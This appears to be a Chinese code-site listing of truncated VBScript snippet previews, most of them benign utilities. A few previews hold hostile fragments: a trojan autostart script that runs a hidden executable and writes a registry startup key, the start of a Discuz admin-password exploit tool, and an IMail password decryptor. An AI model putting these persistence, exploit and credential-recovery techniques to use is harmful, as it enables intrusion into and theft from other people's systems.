link-view.vbs 页面链接查看

2016年07月27日 45 阅读

复制代码 代码如下:set ws = CreateObject（"WScript.Shell"） dt = ws.SpecialFolders（"Favorites"） set lnk = ws.CreateShortcut（dt & "页面源文件解密.url"） set lnkt = ws.CreateShortcut（dt & "页面链接查看.url"） lnk.TargetPath = "javascript:HTML=document.body;w...

VBS读网页的代码

2016年07月27日 47 阅读

直接将下面的代码保存为test.vbs双击运行就可，如果不能使用，请看自己的电脑是否vbs被禁用。复制代码 代码如下:strURL = InputBox（"请输入要读的网址", "朗读网页", "http://www.jb51.net/index.htm"） If strURL = "" Then Wscript.quit End If Set ie = WScript.CreateObject（"InternetExplorer.Application"...

用VBScript写合并文本文件的脚本

2016年07月27日 47 阅读

合并文本的脚本可以这么写： 复制代码 代码如下:Sub AppendTextFile（filename） Set objTextFile = objFSO.OpenTextFile（filename, ForReading, true, -2） Do Until objTextFile.AtEndOfStream objOutFile.WriteLine（objTextFile.Readline） Loop End Sub 可是如果所读取的文件是UTF-8...

vbscript ms owc 封裝代码

2016年07月27日 49 阅读

复制代码 代码如下:""owc.vbs class owc private o "传入物件 public property set set_obj（o_id） set o=o_id end property "画图矩形图 "chart_bgcolor_图表的背景颜色 "chartCaption_图表的标题 "chartCaption_fontColor_图表标题颜色 "Interior_Color_矩形内的填充颜色 "Caption_名称 "categor...

VbScript 封裝MS OWC（二）

2016年07月27日 48 阅读

复制代码 代码如下:""OWC1.VBS class owc private o "傳入物件 public sub create（id_,width_,height_,location_） Set o = document.createElement（"object"） o.setAttribute "id",id_ o.setAttribute "classid","CLSID:0002E55D-0000-0000-C000-000000000046" ...

vbs 注册表操作代码（添加删除）

2016年07月27日 47 阅读

1、读注册表的关键词和值： 可以通过把关键词的完整路径传递给wshshell对象的regread方法。例如： 复制代码 代码如下:set ws=wscript.createobject（"wscript.shell"） v=ws.regread（"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun wiz"） wscript.echo v 2、写注册表 使用wshshell对象的regwr...

用于修复XP中最小化程序 在任务栏显示图标的vbs脚本

2016年07月27日 45 阅读

复制代码 代码如下:"xp_taskbar_desktop_fixall.vbs - Repairs the Taskbar when minimized programs don"t show. "？Kelly Theriot and Doug Knox - 8/22/2003 加工 加龙ddf3 "翻译：Smallfrogs。翻译内容：将英文提示改为简体中文 "来源：Microsoft Windows XP NewsGroup Set WSHShell...

完整的注册表操作实例 VBS脚本

2016年07月27日 53 阅读

①创建主键、创建各类型的键值。 ②读取键值并分析键值类型。 ③枚举主键及键值。 ④判断键或键值是否存在。 ⑤查询注册表键的操作权限。 ⑥监视注册表根键、主键、键值，当发现变动时提示。 复制代码 代码如下:"""注册表查询/操作 On Error Resume Next Const HKEY_CLASSES_ROOT = &H80000000"""设置注册表5大根键，HKCR-----------① Const HKEY_CURRENT_USER = &H8...

vbs 注册表实现木马自启动

2016年07月27日 43 阅读

呵呵～不过别人一般没这个闲工夫检查那么多位置的！就连我也做不到～～ 复制代码 代码如下:dim wsh set wsh=CreateObject（"WScript.Shell"） wsh.run "%windir%flumasko.exe",0 //运行木马程序 set sm=Wscript.CreateObject（"WScript.Shell"） sm.RegWrite "HKLMSOFTWAREMicrosoftWindows NTCurrentVe...

reg2vbs.vbs 将Reg文件转换为VBS文件保存 脚本之家修正版本

2016年07月27日 47 阅读

复制代码 代码如下:"***************************************************************************** " FileName: Reg2Vbs.VBS " Author: baomaboy " Abstract: 将Reg文件转换为VBS文件保存 "********************************************************************...

e是自然对数的底 e.vbs

2016年07月27日 46 阅读

"e=1+1/1！+1/2！+1/3！+1/4！+……+1/n！ "φkρ=αe "其中，α和k为常数，φ是极角，ρ是极径，e是自然对数的底。为了讨论方便，我们把e或由e经过一定变换和复合的形式定义为“自然律”。因此，“自然律”的核心是e，其值为2.71828……，是一个无限循环数。 "e=（1+1/x）^x "made by correy "QQ:112426112 "email:leguanyuan@126.com "第一种计算方法 e=1 m=1 n...

vbs imail 密码解密

2016年07月27日 51 阅读

复制代码 代码如下:on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set oReg=GetObject（"winmgmts:{impersonationLevel=impersonate}！\" &_ strComputer & " ootdefault:StdRegProv"） strKeyPath = "SOFTWAREIpswitchIMail...

VBS Runas 自动输入密码, 明文

2016年07月27日 47 阅读

复制代码 代码如下:Set Shell = CreateObject（"WScript.Shell"） Shell.Run "cmd /c @runas /user:administrator CMD" WScript.Sleep 2000 Shell.SendKeys "password{ENTER}exit{ENTER}" WScript.Sleep 1000 Shell.SendKeys "@echo off&cls&net stop messeng...

vbscript 三个数比较大小的实现代码

2016年07月27日 46 阅读

复制代码 代码如下:dim a,b,c a =inputbox （"请输入0-99的整数且不能重复更不要用汉字和字母"） b =inputbox （"请输入0-99的整数且不能重复更不要用汉字和字母"） c =inputbox （"请输入0-99的整数且不能重复更不要用汉字和字母"） if not（IsNUmberic（a） and IsNUmberic（b） and IsNUmberic（c）） then msgbox "不乖哦>_<" el...

脚本 MsAgent组件 微软精灵 揪出系统自带的宠物

2016年07月27日 44 阅读

复制代码 代码如下:"On Error Resume Next strAgentName = "Merlin" strAgentPath = "c:windowsmsagentchars" & strAgentName & ".acs" ScriptComplete=0 Set objAgent = WScript.CreateObject（"Agent.Control.2","agent_"） objAgent.Connected = True objA...

VBS InternetExplorer.Application的属性和方法介绍

2016年07月27日 48 阅读

Set ie = CreateObject（"InternetExplorer.Application"） ie.Navigate "http://www.jb51.net" Wscript.Sleep 1000 ie.Toolbar = 0 ie.visible=False ie.Document.f1.word.value = kw If ie.Document.f1.word.value="" Then Wscript.Quit 上面是在网上看到的，...

vbs 列出该目录下所有文件和文件夹的类型,大小,和所有者

2016年07月27日 44 阅读

GetOwner.VBS用法,在命令行下:GetOwner.vbs 目录名会在相应目录下生成一个TXT.TXT文件,内里列出该目录下所有文件和文件夹的类型,大小,和所有者 注意:大小以MB为单位,小于1MB的就显示为0MB, 以下是代码: G = WScript.arguments（0） Set oFSO = CreateObject（"Scripting.FileSystemObject"） set txt = oFSO.CreateTextFile（G...

雷客图 站长安全助手 vbs版代码（asp 木马查找）

2016年07月27日 44 阅读

均在命令行下使用 AntiIframe.vbs #该脚本是批量挂马程序的逆向，用于批量清除被添加到文件中的恶意代码。记事本打开文件可以修改Pattern参数指定要处理的文件名，文件名之间用|隔开（也支持vbs正则表达式）。由于要修改文件，请谨慎的使用（最好先备份文件） #用法: CScript AntiIframe.vbs [处理的路径] [包含清除内容的文件] #例子: CScript AntiIframe.vbs d:Web d:lake2.txt -...

discuz 任意管理员密码漏洞利用工具 vbs代码

2016年07月27日 43 阅读

也利于修改 以下是search.inc.php 文件漏洞利用代码VBS版 复制代码 代码如下: Dim strUrl,strSite,strPath,strUid showB（） Set Args = Wscript.Arguments If Args.Count <> 3 Then ShowU（） Else strSite=Args（0） strPath=Args（1） strUid=Args（2） End If strUrl="action...

添加网站到安全站点.设置安全站点打开ActiveX时提示.去页眉页脚的vbs代码

2016年07月27日 47 阅读

复制代码 代码如下:"/*========================================================================= " * Intro 主要是解决在使用WebBrowser打印时，得先设置IE安全性的问题 " * FileName 添加网站到安全站点.设置安全站点打开ActiveX时提示.去页眉页脚.vbs " * Author yongfa365 " * Version v1.0 " * Emai...